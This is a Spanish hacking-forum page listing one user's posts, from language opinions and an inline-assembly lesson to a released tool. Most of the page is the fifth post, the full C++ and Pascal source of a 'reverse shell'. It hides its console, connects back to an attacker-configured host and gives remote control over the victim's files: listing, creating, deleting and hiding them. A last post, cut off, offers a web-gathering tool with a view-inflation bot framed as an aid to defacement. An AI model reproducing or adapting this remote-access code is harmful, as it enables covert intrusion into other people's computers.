Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - WarZ0n3

#1
Claro... pero que sea "a nivel mundial" no quiere decir que sea bueno, ni mucho menos, volvemos a lo unitario y si es de reconocer que VB.NET, Java, etc.. son muy usados, pero como decias es solo abrir puertas en lo laboral(y con ciertos límites en lo salarial), yo he trabajado para empresas y es necesario conocimiento de lenguajes como pascal, C++(y claro que el sueldo es el doble).
Los BO, en cualquier lenguaje claro esta, pero no es lo mismo tener conocimiento de lo que se programa y saber como funciona(para poder solucionarlo) a "programar" sin tener control de lo que se hace, en fin es su decición.
#2
Yo empecé con C / C++ y enseguida me introduje en el mundo de las APIs, luego ASM, y después exploiting, shellcodes y demás... puede que sea difícil al principio pero es la mejor manera de aprender.

@EleKtro H@cker:
Java, Python, VB ¿Enserio?¿lenguajes?¿por que?, Solo por que windows sea un sistema operativo unitario no quiere decir que lenguajes como Java y demas sean los mejores (y mucho menos para aprender!), les guste o no las fugas de memoria (y un monton mas de detalles que ni mencionare por que no vale la pena), que producen estos "lenguajes" son terribles, el manejo del MMU es terrible, no se puede optimizar al punto más fuerte, no se pueden hacer desensamblados, no hay punteros, etc.. sigo sin entender por que programar en aquello que nos aleja del hardware... particularmente ahora estoy programando drivers, que pronto espero publicar, y gracias al poder de C logré entender a grandes rasgos las características de los procesadores y mucho más. ¿Pascal de tercera division y que no sirve para nada en concreto?, muchas de las grandes herramientas de hacking se programaron en este lenguaje, con lazarus en linux tambien puedes programar drivers/kernel-modules(y es el unico lenguaje que realemente más se le acerca a C), colega por favor estudia verdaderos lenguajes de programación.

PD: kurumadayoo, empieza con C / C++ y luego ASM
#3
Muy buen trabajo taul, exelente....
Yo por temas de tiempo y labor no puedo ayudarte pero estoy programando un pequeño kernel-module, cuando tenga tiempo disponible lo seguiré, y lo público aver si te puedo ayudar en algo.
Saludos y aportaso.
#4
EDITO: No me había fijado que era un post muerto de hace 1 año ¬¬

Voy a dar 3 simples ejemplo 2 de suma y 1 de resta (con la sintaxis de AT&T), por que la idea no es traducir el pseudocódigo si no que entiendas el concepto de suma/resta y luego tomar las acciones respectivas dependiendo de lo que quieras hacer...

También quería aclarar que hace mucho que no hago nada en ASM puro, por lo que los siguientes ejemplos los daré del lado del GCC pero si entiendes la mecánica luego podrás adaptarlo a intel o cualquier otro asm fácilmente...

(todo esto suponiendo que tiene una variable "x" de tipo integro en 0)
AT&T (suma con asm extendido "x"+15)
Código (cpp) [Seleccionar]

__asm__(
       "StartUp:\n"
       "lea 0xfffffffc(%%ebp), %%eax\n" //cargamos la variable con el puntero a ebp -4
       
       :"=r"(x) // output de la variable
       :"r"(15) // sumamos 15 desde el input
       :"%eax" // preservamos el registro eax
   );


AT&T (suma normal "x"+3)
Código (cpp) [Seleccionar]

__asm__(
       "StartUp:\n"
       "lea 0xfffffffc(%ebp), %eax\n"
       "addl $0x3, (%eax)" // sumamos 3 a eax
);


AT&T (resta normal "x"-3)
Código (cpp) [Seleccionar]

__asm__(
       "StartUp:\n"
       "lea 0xfffffffc(%ebp), %eax\n"
       "subl $0x3, (%eax)\n"
   );




Espero que te haya servido yo también sigo estudiando at&t
#5
Saludos.
Como estos últimos 2 días los tuve libre, se me ocurrió elaborar un shell inversa en pascal
pero no era suficiente, el tema ya se ha tocado, así que decidí agregarle un factor X,
ya hace meses que no hago nada en C/C++ y la verdad es que me dieron ganas de
de fusionar el poder de C con el de pascal, así que cree esta simple librería, por supuesto
esto es solo una beta, falta mucho que agregar, y corregir, ademas esta pequeña
shell solo tiene como propósito demostrar lo que se podría hacer juntando estos 2 lenguajes.

propiedades de la shell:
  • Multiconexión
  • Migrar las sesiones de las conexiones actuales
  • Lista archivos y carpetas
  • Muestra información de las unidades del sistema
  • Despliega información de un archivo(como la ultima fecha de modificación, peso, etc..)
  • Permite borrar archivos/carpetas, crearlas, esconderlas
  • Muestra la hora del sistema
  • ip y demas...
    Las contras son que tienen varios fallos, muchas veces en la escritura de los sockets.
    Por que como dije, en estos 2 días no corregí todo ademas hay funciones que deben
    ser cambiadas...

    También quería comentar que estuve estudiando AT&T y se me hizo un tanto más difícil que
    la sintaxis de intel(por lo menos ami).

    el administrador de la shell lo dejare en la descarga ya que es muy simple.
    Esta programado con tserversocket.


    Link para descarga de la shell: http://www.mediafire.com/download/d1g9ehi227ctkka/WarShell.rar

    Sin mas que decir el código de la .dll en C++

    Código (cpp) [Seleccionar]
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock.h>
    #include <time.h>

    /*
                  Las siguientes funciones como los desensamblados
                  en ImmDbg fueron escritas en AT&T por Warz0n3,
                  puedes encontrarme en indetectables.net y
                  foro.elhacker.net por cualquier duda que tengas.
                 
    */
               
    #define CALLEXPORT extern "C"
    #define __callspec __declspec(dllexport)

    typedef struct _wc_sconf
    {
             HANDLE              hFile;
             WIN32_FIND_DATA     FindFile;
             time_t              rawtime;
             struct              tm *timeinfo;
    } pwc_confsock;

    #define drive_sz 27

    #define BYTE_NO_ALIGN                   -0x1
    #define BYTE_ALIGN                      0x1

    #define DRIVER_DESCONOCIDO              0x0
    #define DRIVER_SYSLEN                   0x4
    #define DRIVER_DESMONTABLE              0x2
    #define DRIVER_FIJO                     0x3
    #define DRIVER_REMOTO                   0x4
    #define DRIVER_CDROM                    0x5
    #define DRIVER_RAMDISK                  0x6

    const LPCWSTR drivers[drive_sz] = {
                L"A:/", L"B:/", L"C:/", L"D:/",
                L"E:/", L"F:/", L"G:/", L"H:/",
                L"I:/", L"J:/", L"K:/", L"L:/",
                L"M:/", L"N:/", L"O:/", L"P:/",
                L"Q:/", L"R:/", L"S:/", L"T:/",
                L"U:/", L"V:/", L"W:/", L"X:/",
                L"Y:/", L"Z:/"};
    UINT driver_type; // unsigned int
    char *driver_buff[_MAX_PATH];


    CALLEXPORT
    {         // compara que 2 integros sean iguales, si lo son retorna el valor constante
               // de nuestro operando(sin signo) y si no es igual retorna -1
               __callspec __stdcall int WIN32__volatil__cmplogic(int cmpval, int retval)
               {
               asm volatile ( // no guardamos la variable en el microprocesador
                    "sub $0x4, %%esp\n"
                    "mov 0x8(%%ebp), %%eax\n" // preparamos el s.frame
                    "cmp 0xc(%%ebp), %%eax\n" // comparamos el parametro de la variable (este es el puntero pre-definido por el stack frame)
                    "jne a2\n"                // si la comparacion dio negativa saltamos a a2
                    // lo preparamos por si es igual (1)
                    "movl $0x1, %%eax\n"      //  movemos positivo(1) a eax
                    "movl %%eax, %0\n"        // movemos eax a eax
                    "nop\n"
                   
                    "mov 0xc(%%ebp), %%eax\n"
                    "mov %%eax, 0xfffffffc(%%ebp)\n"
                    "jmp a3\n" // si es igual saltamos a a3
                   
                    "a2: movl $0xffffffff, 0xfffffffc(%%ebp)\n" // si no es igual mueve -1 a ebp
                    "a3: mov 0xfffffffc(%%ebp), %%eax\n"
                   
                    "leave\n"
                    "ret\n" // salimos y retornamos de la funcion
                   
                    :"=r"(retval)             // y en el output de solo escritura retornamos la variable
                    :"r"(0x00000000)          // movemos el octeto de 0 en el input (solo para preparar)
                   
                );
            }
               /*
                  intel x86
                  Como se ve mi funcion en ImmDbg
                  00401290  /$ 55             PUSH EBP
                  00401291  |. 89E5           MOV EBP,ESP
                  00401293  |. 83EC 08        SUB ESP,8
                  00401299  |. 8D45 08        LEA EAX,DWORD PTR SS:[EBP+8]             ; |
                  0040129C  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
                  004012A0  |. C70424 0200000>MOV DWORD PTR SS:[ESP],2                 ; |
                  004012A7  |. E8 94010000    CALL <JMP.&WS2_32.WSAStartup>            ; \WSAStartup
                  004012AC  |. 83EC 08        SUB ESP,8
                  004012B2  |. C9             LEAVE
                  004012B3  \. C3             RETN
                 
                  Funcion en AT&T
                 
                  push %ebp , mov %esp , %ebp <- en este caso no lo hago por que las functiones en c++
                ya se inicializan con el stack frame pre-configurado...
               
                  401293: 83 ec 08              sub    $0x8,%esp
                  .......
                  401299: 8d 45 08              lea    0x8(%ebp),%eax
                  40129c: 89 44 24 04          mov    %eax,0x4(%esp)
                  4012a0: c7 04 24 02 00 00 00 movl   $0x2,(%esp)
                  4012a7: e8 94 01 00 00        call   0x401440
                  4012ac: 83 ec 08              sub    $0x8,%esp
                  .......
                  4012b2: c9                    leave 
                  4012b3: c3                    ret   
               */
               __callspec __stdcall void wcsock_init_driver(WSADATA wsa)
               {
                          __asm__(
                                  "sub $0x8, %esp                   \n"
                                  "lea 0x8(%ebp), %eax              \n"
                                  "mov %eax, 0x4(%esp)              \n"
                                  "movl $0x2,(%esp)                 \n"
                                  "call _WSAStartup@8               \n"
                                  "sub $0x8, %esp                   \n"
                                  "leave                            \n"
                                  "ret                              \n"
                          );
               }
               
               __callspec __stdcall void wcsock_connect_matrix(SOCKET wc_tcpsock, struct sockaddr_in saddr)
               {
                   connect(wc_tcpsock, (struct sockaddr *)&saddr, sizeof(saddr));           
               }
               
               
               /* Como se ve mi funcion en ImmDbg
                004012B0  /$ 55             PUSH EBP
                004012B1  |. 89E5           MOV EBP,ESP
                004012B3  |. 83EC 08        SUB ESP,8
                ...
                004012B9  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |
                004012BC  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
                004012BF  |. E8 9C010000    CALL <JMP.&WS2_32.closesocket>           ; \closesocket
                004012C4  |. 83EC 04        SUB ESP,4
                004012C7  |. E8 A4010000    CALL <JMP.&WS2_32.WSACleanup>            ; [WSACleanup
                ...
                004012CF  |. C9             LEAVE
                004012D0  \. C3             RETN
               
                los mov eax, ebp y esp son los parametros al s.frame incluso
                el de subs para volver, y una ves llamada la funcion salgo.
                */

               __callspec __stdcall void wcsock_free(SOCKET wc_tcpsock)
               {
                   __asm__(
                            "mov 0x8(%ebp), %eax            \n"
                            "mov %eax, (%esp)               \n"
                            "call _closesocket@4            \n"
                            "sub $0x4, %esp                 \n"
                            "call _WSACleanup@0             \n"
                            "leave                          \n"
                            "ret                            \n"
                  );
               }
               /*
               // Simple peticion por GET.
               __callspec __stdcall char* wcsock_get_proto(SOCKET sock, int buffsize)
               {
                   char reply[buffsize], *metodo;
                   metodo= "GET / HTTP/1.1\r\n\r\n";
                   send(sock, metodo, strlen(metodo), 0);
                   recv(sock, reply, buffsize, 0);
                   return reply;
               }*/
               /* intel x86
                00401299  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]             ; ||
                0040129C  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
                0040129F  |. E8 AC070000    CALL <JMP.&msvcrt.strlen>                ; |\strlen
                004012A4  |. C74424 0C 0000>MOV DWORD PTR SS:[ESP+C],0               ; |
                004012AC  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
                004012B0  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]             ; |
                004012B3  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
                004012B7  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |
                004012BA  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
                004012BD  |. E8 9E010000    CALL <JMP.&WS2_32.send>                  ; \send
                004012C2  |. 83EC 10        SUB ESP,10
                La config de s.frame se da igual que en los otros casos...
                @necesario para el compilador
               */
               __callspec __stdcall void wcsock_sendstr(SOCKET sock, char *msg)
               {
                   __asm__(
                   "sub $0x18,%esp           \n"
                   "mov 0xc(%ebp), %eax      \n"
                   "mov %eax, (%esp)         \n"
                   "call _strlen             \n"
                   "movl $0x0, 0xc(%esp)     \n"
                   "mov %eax, 0x8(%esp)      \n"
                   "mov 0xc(%ebp), %eax      \n"
                   "mov %eax, 0x4(%esp)      \n"
                   "mov 0x8(%ebp), %eax      \n"
                   "mov %eax,(%esp)          \n"
                   "call _send@16            \n"
                   "sub $0x10,%esp           \n"
                   "leave                    \n"
                   "ret                      \n"
                   );
               }
               
               __callspec __stdcall void WIN32SendFindFile(SOCKET wc_tcpsock, char *path
                          , char *delim, int SOCK_TYPE)
               {
                   pwc_confsock sfile;
                   char fpath[_MAX_PATH], *ffpath[_MAX_PATH];
                                          //char *driver_buff[_MAX_PATH];
                   strcpy(fpath, path);
                   sfile.hFile= FindFirstFile(fpath, &sfile.FindFile);
                   while (FindNextFile(sfile.hFile, &sfile.FindFile)!=false)
                   {
                         if (ffpath[0]==0x0) send(wc_tcpsock, (const char *)delim, strlen(delim), SOCK_TYPE);
                         ffpath[0]= strcat(sfile.FindFile.cFileName, delim);
                         send(wc_tcpsock, ffpath[0], strlen(sfile.FindFile.cFileName), SOCK_TYPE);
                   }
               }
               
               __callspec __stdcall void wcsock_double_buffer_send(SOCKET wc_tcpsock, char *dbuffer,
                         char *permutar )
               {
                   for (int i=BYTE_ALIGN; i<=0x2; i++){
                       wcsock_sendstr(wc_tcpsock, dbuffer);
                       if ( WIN32__volatil__cmplogic(0x2, i+0x1)!=BYTE_NO_ALIGN)
                       
                          __asm__ volatile( "movl %0, %%eax" : "=r"(dbuffer) : "r"(permutar) ); // lo pongo en el GPR y el registro es el acumulativo
                         
                   }
               }
               
               __callspec __stdcall char *WIN32GetLogicalDrivers(int *, char *delim, int forsignal, int *)
               {
                           driver_type= GetDriveTypeW(drivers[forsignal]);
                           #ifdef DRIVER_DESCONOCIDO
                           if (driver_type==DRIVER_DESCONOCIDO)return (char *)drivers[forsignal];
                           #endif
                           #ifdef DRIVER_DESMONTABLE
                           if (driver_type==DRIVER_DESMONTABLE)return (char *)drivers[forsignal];
                           #endif
                           #ifdef DRIVER_FIJO
                           if (driver_type==DRIVER_FIJO)return (char *)drivers[forsignal];
                           #endif
                           #ifdef DRIVER_REMOTO
                           if (driver_type==DRIVER_REMOTO)return (char *)drivers[forsignal];
                           #endif
                           #ifdef DRIVER_CDROM
                           if (driver_type==DRIVER_CDROM)return (char *)drivers[forsignal];
                           #endif
                           #ifdef DRIVER_RAMDISK
                           if (driver_type==DRIVER_RAMDISK)return (char *)drivers[forsignal];
                           #endif
               }
               
               /*
                004014E9  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]             ; ||||
                004014EC  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||||
                004014EF  |. E8 8C050000    CALL <JMP.&msvcrt.time>                  ; |||\time
               */
               __callspec __stdcall void WIN32SendSysTime(SOCKET wc_tcpsock, char *delim, int SOCK_TYPE)
               {
                   pwc_confsock stime;
                   stime.timeinfo = localtime ( &stime.rawtime );
                   printf ( "Current local time and date: %s", asctime (stime.timeinfo) );
                   send(wc_tcpsock, asctime(stime.timeinfo), 0x248, SOCK_TYPE);
               }
               
               __callspec __stdcall void WIN32SendCurrentDir(SOCKET wc_tcpsock, TCHAR delim,
                          int SOCK_TYPE)
               {
                   DWORD nBufferLength;
                   TCHAR lpBuffer[2048]= {delim}; //strlen((const char*)delim)
                   GetCurrentDirectory(nBufferLength, lpBuffer+0x1);
                   send(wc_tcpsock, lpBuffer, strlen(lpBuffer), SOCK_TYPE);
               }
               
               
               //int PASCAL recv(SOCKET,char*,int,int);
               /*__callspec __stdcall int wcsock_recv(SOCKET sock, char *recv_buffer
                          , int type_sock)
               {
                   return recv(sock, recv_buffer, strlen(recv_buffer), type_sock);
               }*/
    }


    El servidor de la shell

    Código (pascal) [Seleccionar]
    program WarCSock;

    uses
      SysUtils,
      WINDOWS,
      WinSock,
      Kol;

    {$APPTYPE CONSOLE}
     
    const
      warcsock_lib = 'WarCSock.dll';

      WCS_SOCK_STREAM             = $00000001;
      WCS_TCP_INET                = $00000002;
      WCS_PROTO_TCP               = $00000006;
      WCS_SOCK_ZERO               = $00000000;
      DRIVER_SYSLEN               = $0000001B;
      BYTE_NO_ALIGN               =-$00000001;

      // I/O
      WCS_FILE_SHARE_READ         = $00000001;
      WCS_FILE_SHARE_WRITE        = $00000002;
      WCS_FILE_ATTR_NORMAL        = $00000080;
      WCS_FILE_CREATE             = $00000002;
      WCS_FILE_ATTR_READONLY      = $00000001 platform;
      WCS_FILE_ATTR_HIDDEN        = $00000002 platform;
      WCS_FILE_ATTR_SYSTEM        = $00000004 platform;
      WCS_FILE_ATTR_DIR           = $00000010;
      WCS_FILE_ATTR_ARCHIVE       = $00000020 platform;

    // simple encriptacion de los valores chars en bytes
    EncryptedHashBytesBuffer    : array[0..25] of Integer= (
        $B6-105 xor (3 shl 2), $B2-112, $A0-77 xor (2 shl 3),
        $44,  $65 xor (2 shl 4), $42 xor (1 shl 2),  $4F xor 2 shl 2,
        $60 xor (5 shl 3), $4B xor 2, $46 xor (3 shl 2),
        $A3-84 xor 4, $B8-108, $B8-107, $4A xor 4, $A4-89 xor 4,
        $70 xor (4 shl 3), $57 xor (3 shl 1), $5A xor (1 shl 3),
        $73 xor 4 shl 3, $64 xor (3 shl 4), $59 xor (3 shl 2),
        $56,  $55 xor 2,  $68 xor (3 shl 4), $5B xor 2, $58 xor 2
      );

    type
      PHost_addr = ^sock_addr_in;    // la estructura para mis sockets

      sock_addr_in  = record
        pAddr       : sockaddr_in;
        WSA         : WsaData;
        TcpSock     : TSocket;

        ChBuffer    : array[$00..2048] OF Char;
        PaBuffer    : array[$00..(GETEXTENDEDTEXTMETRICS*2)] OF AnsiChar;
        Strlist     : PStrList;
    end;

    function WIN32__volatil__cmplogic(cmpval, retval: integer): integer; stdcall; external warcsock_lib NAME 'WIN32__volatil__cmplogic';
    function wcsock_init_driver(WSA:WsaData) : Integer; stdcall; external warcsock_lib NAME 'wcsock_init_driver';
    procedure wcsock_connect_matrix(TcpSock:tSocket; sAddr:sockaddr_in); stdcall; external warcsock_lib NAME 'wcsock_connect_matrix';
    function wcsock_get_proto(TcpSock:tSocket; buffSize:Integer) : PChar; stdcall; external warcsock_lib NAME 'wcsock_get_proto';
    procedure wcsock_sendstr(TcpSock:tSocket; MSG:string); stdcall; external warcsock_lib NAME 'wcsock_sendstr';
    procedure wcsock_double_buffer_send(TcpSock:tSocket; MSG:string; Permutar:string); stdcall; external warcsock_lib NAME 'wcsock_double_buffer_send';
    procedure WIN32SendFindFile(TcpSock:tSocket; FPath, Delim: PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendFindFile';
    function WIN32GetLogicalDrivers( NullStackFramePointer : Integer; Delim:PChar; DriverList, NullStackFrameRef : Integer): PChar; stdcall; external  warcsock_lib NAME 'WIN32GetLogicalDrivers';
    procedure WIN32SendSysTime(TcpSock:tSocket; Delim:PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendSysTime';
    procedure WIN32SendCurrentDir(TcpSock:tSocket; Delim:AnsiChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendCurrentDir';
    //function wcsock_recv(TcpSock:tSocket; Recv_Buffer:PChar; TypeSock:Integer) : Integer ; stdcall; external warcsock_lib NAME 'wcsock_recv';
    procedure wcsock_free(TcpSock:tSocket); stdcall; external warcsock_lib NAME 'wcsock_free';
    function GetConsoleWindow : HWND; stdcall; external kernel32 name 'GetConsoleWindow';


    var
      Wsa         : WsaData;
      TcpSock     : TSocket;
      PHostAddr   : PHost_addr;

      Host        : string;
      Port        : Uint;

      TcpInit     : BOOL;
      sData       : string;
      FAttr       : Integer;
      FHandle     : DWORD;

    function                          // solo usar para las conexiones remotas
      __call_ix86_getip(): PChar; assembler;
    asm
        PUSH EBX
        ADD ESP, 0FFFFFE70h
        PUSH ESP               // configuro de la pila
        PUSH $1
        CALL WSASTARTUP
        PUSH Host // 04081B4h
        CALL GetHostByName
        MOV EAX, [EAX+0Ch]     // puntero en el stack frame
        XOR EDX, EDX
        MOV EAX, [EAX+EDX*4]
        PUSH DWORD PTR [EAX]
        CALL INET_NTOA
        MOV EBX, EAX
        CALL WSACleanup
        MOV EAX, EBX
        ADD ESP, 0190h
        POP EBX
        RETN
    end;

    (*
      0040845D  |. 53             PUSH EBX                                 ; /FileName
      0040845E  |. E8 09FFFFFF    CALL <JMP.&kernel32.DeleteFileA>         ; \DeleteFileA
      *)
    function
      AsmDeleteFileA(fname : PCHAR) : integer;
    begin
      ASM                // si no existe retorna -1
      OR ESI, 0FFFFFFFFh
      NOP
      END;
      {$I-}
      if FileExists(fname) then
      ASM
        PUSH EBX
        CALL DELETEFILEA
        MOV EBX, $1
        MOV ESI, EBX // retorna 1 si encuentra el archivo
      END; {$I+}
    end;

    function
      WIN32GetDriverList(delim:string) : string;
    var
      i           : Integer;
      Hash        : Char;
    begin
      Result:= '';
      for i:= 0 to DRIVER_SYSLEN do begin
        for Hash:=Chr(EncryptedHashBytesBuffer[0]) to Chr(EncryptedHashBytesBuffer[25]) do begin
        // preconfiguracion del stack frame cuando es llamada en C aun que en pascal paresca inutil los argumentos son requeridos
          if POS( Hash, WIN32GetLogicalDrivers($0, #0, i, $0) )<>0 then
            Result:= Result+delim+Hash;
        end;
      end;
      Result:= Result;
    end;

    begin
      ShowWindow(GetConsoleWindow, SW_HIDE);
      GetMem(PHostAddr, 3*sizeof(sock_addr_in));

      Host:= 'www.tu-noip.com'; // solo usar en caso de conexiones remotas
      Port:=  999;
     
      wcsock_init_driver(WSA);
      ASM
      PUSH WCS_SOCK_ZERO
      PUSH WCS_SOCK_STREAM          // stack frame para la configuracion de mi socket
      PUSH WCS_TCP_INET
      CALL SOCKET
      MOV ESI, EAX
      END;

      PHostAddr^.pAddr.sin_family       := WCS_TCP_INET;
      PHostAddr^.pAddr.sin_port         := u_short(htons(Port));
      PHostAddr^.pAddr.sin_addr.s_addr  := inet_addr('127.0.0.1');
                                    //inet_addr( __call_ix86_getip() ); SOLO EN CASO DE CONEXIONES REMOTAS
      PHostAddr^.Strlist                := NewStrList;

      wcsock_connect_matrix(TcpSock, PHostAddr^.PAddr);
      WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); //wcsock_send(TcpSock, '&MSG');

      while TcpInit=true do begin
        sleep(1 div $5);
        Recv(TcpSock, PHostAddr^.CHBuffer, length(PHostAddr^.CHBuffer), WCS_SOCK_ZERO);

        if PHostAddr^.CHBuffer>'' then begin
          //WRITELN( PHostAddr^.chBuffer );

          if strpos(PHostAddr^.ChBuffer, 'ls')<>nil then
          begin
            sData:= system.copy(PHostAddr^.ChBuffer, 10, length(PHostAddr^.ChBuffer)-$1);
            WIN32SendFindFile(TcpSock, PChar(sData+'*.*'), '%FILES', WCS_SOCK_ZERO);
          end;

          if strpos(PHostAddr^.ChBuffer, 'get_drivers')<>nil then
            wcsock_sendstr(TcpSock, '%DRVLST'+WIN32GetDriverList('-') );

          if strpos(PHostAddr^.ChBuffer, 'get_time')<>nil then
            WIN32SendSysTime(TcpSock, '%TIME', WCS_SOCK_ZERO);

          if strpos(PHostAddr^.ChBuffer, 'mkfile')<>nil then
          begin       {$I-}
            sData:= system.copy(PHostAddr^.ChBuffer, 8, length(PHostAddr^.ChBuffer));
            if (Windows.CreateFile(PChar(sData), WCS_FILE_SHARE_READ, WCS_FILE_SHARE_WRITE,
              nil, WCS_FILE_CREATE, WCS_FILE_ATTR_NORMAL, 0)<>-1) then
            wcsock_sendstr(TcpSock, 'Archivo '+sData+' creado exitosamente!')
            {$I+}
          end;

          if strpos(PHostAddr^.ChBuffer, 'info')<>nil then
          begin
            sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
            if FileExists(sData) then
            begin
              FAttr:= FileGetAttr(PChar(sData));
              if FAttr and WCS_FILE_ATTR_READONLY > 0
                then wcsock_sendstr(TcpSock, '- Archivo de solo lectura')
                else wcsock_sendstr(TcpSock, '- El archivo no es de solo lectura');
              if FAttr and WCS_FILE_ATTR_HIDDEN > 0
                then wcsock_sendstr(TcpSock,'- Archivo oculto')
                else wcsock_sendstr(TcpSock,'- Archivo desoculto');
              if FAttr and WCS_FILE_ATTR_SYSTEM > 0
                then wcsock_sendstr(TcpSock,'- Archivo del sistema')
                else wcsock_sendstr(TcpSock,'- El archivo no es del sistema');
              FAttr:= FileAge(sData);
              wcsock_sendstr(TcpSock, '- fecha de ultima modificacion: '+DateToStr(FileDateToDateTime(FAttr))+
                #13#10+'- tamaño del archivo: '+IntToStr(Kol.FileSize(sData))+' bytes' );
            end
            else if DirectoryExists(sData) then
            begin
              wcsock_sendstr(TcpSock,'- El archivo es de tipo carpeta');
            end
            else begin
              wcsock_sendstr(TcpSock,'- El archivo/carpeta no existe.');
            end;

          end;

          if strpos(PHostAddr^.ChBuffer, 'hide')<>nil then
          begin {$I-}
            sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
            FileSetAttr(sData, faHidden);
            wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' escondido')
            {$I+}
          end;
          if strpos(PHostAddr^.ChBuffer, 'show')<>nil then
          begin {$I-}
            sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
            FileSetAttr(sData, 0);
            wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' desocultado');
            {$I+}
          end;

          if strpos(PHostAddr^.ChBuffer, 'del')<>nil then
          begin
            sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer));
            if (AsmDeleteFileA(PChar(sData))<>BYTE_NO_ALIGN)then
              wcsock_sendstr(TcpSock, 'Archivo borrado correctamente!')
            else
              wcsock_sendstr(TcpSock, 'Archivo no encontrado...');
          end;
          if strpos(PHostAddr^.ChBuffer, 'mkdir')<>nil then
          begin         {$I-}
            sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
            if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(CreateDir(sData)<>false)) then
              wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido creada exitosamente!')
            else
              wcsock_sendstr(TcpSock, 'Se ha producido un error al crear la carpeta');
          end;         {$I+}
          if strpos(PHostAddr^.ChBuffer, 'rmdir')<>nil then
          begin          {$I-}
            sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
            if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(RemoveDir(sData)<>false)) then
              wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido borrado correctamente!')
            else
              wcsock_sendstr(TcpSock, 'Se ha producido un error al borrar la carpeta(o esta no existe)');
          end;         {$I+}

          if strpos(PHostAddr^.ChBuffer, 'chd')<>nil then
          begin
            sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)-$1);
            {$I-}SETCURRENTDIR(sData);{$I+}
          end;

          if strpos(PHostAddr^.ChBuffer, 'exit')<>nil then
          begin
            wcsock_sendstr(TcpSock, 'Saliendo del servidor... ');
            TcpInit:= false;
          end; 
         
          WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO);
        end;

      end;
     
      Shutdown(TcpSock, WCS_TCP_INET);
      wcsock_free(TcpSock);
      FreeMem(PHostAddr);
     
    end.








#6
Programación General / Gathor 0.5
24 Agosto 2013, 02:09 AM
Después de tanto tiempo ocupado hoy vengo a traerles una herramienta que hace
tiempo tenia pensado....

Se trata de un gathering fusionado con un viewbot que había hecho hace algún tiempo (también hice un tutorial de como programar uno, buscarlo en la sección delphi).

Obviamente este versión esta mejorada y se le han agregado mas características, por ejemplo los métodos http tales como options, head, get, post, etc... por si desean hacer algún

deface una información extra no viene mal...
también aumenta las vistas de un vídeo(todavía no le agregado los proxys, espero para la próxima entrega),
lectura de un archivo, y descarga de .txt

Lo programe en delphi 7 por si desean compilarlo por su cuenta(también dejare algunas
imagenes con ejemplos de los parámetros usados y demás).

Descarga : http://www.mediafire.com/download/zt5xha2hu7ac49d/Gathor.rar
El .rar no tiene contraseña.

Código (pascal) [Seleccionar]

program Gathor;

(*********************************************)
(* Software : Gathor 0.5                     *)
(* Autor    : WarZone                        *)
(* Fecha    : 23/8/13                        *)
(*********************************************)
(* Explicacion:                              *)
(* Un gathering de informacion web el cual   *)
(* tiene caracteristicas                     *)
(* como leer el source de la pagina(index),  *)
(* ver el servidor en que se esta corriendo, *)
(* fecha, version del protocolo, contenido,  *)
(* opciones de metodos usados <posiblemente  *)
(* permitiendo un Defacement>, leectura de un*)
(* fichero y descarga, viewbot para aumentar *)
(* visitas(por ejemplo a un video en youtube),*)
(* etc...                                    *)
(*********************************************)
(*********************************************)
(*    -Opciones de uso / Caracteristicas-    *)
(*                                           *)
(* Los siguientes comandos permiten hacer    *)
(* peticiones HTTP por distintas opciones,   *)
(* GET, POST, HEAD, ETC... y version del     *)
(* protocolo respectivamente 1.0 o 1.1       *)
(*                                           *)
(* get_proto_0 -> metodo GET por HTTP/1.0    *)
(* get_proto_1 -> GET por HTTP/1.1           *)
(* post_proto_0 -> POST por HTTP/1.0         *)
(* post_proto_1 -> POST por HTTP/1.1         *)
(* options_proto_0 -> OPTIONS por HTTP/1.0   *)
(* options_proto_1 -> OPTIONS por HTTP/1.1   *)
(* head_proto_0 -> HEAD por HTTP/1.0         *)
(* head_proto_1 -> HEAD por HTTP/1.1         *)
(* Parametros + Ejemplo :                    *)
(*********************************************)
(* con parametro -g                          *)
(* <sitio_web> <puerto> <opcion>             *)
(* -g www.google.com 80 get_proto_0          *)
(*********************************************)
(* con parametro -b                          *)
(* <sitio/video_a_aumentar><intervalo_segs>  *)
(* -b www.youtube.com/video_a_aumentar 1     *)
(*********************************************)
(* con parametro -r                          *)
(* <sitio><nombre_archivo_a_leer>            *)
(* -r www.sitio.com/robots.txt               *)
(*********************************************)
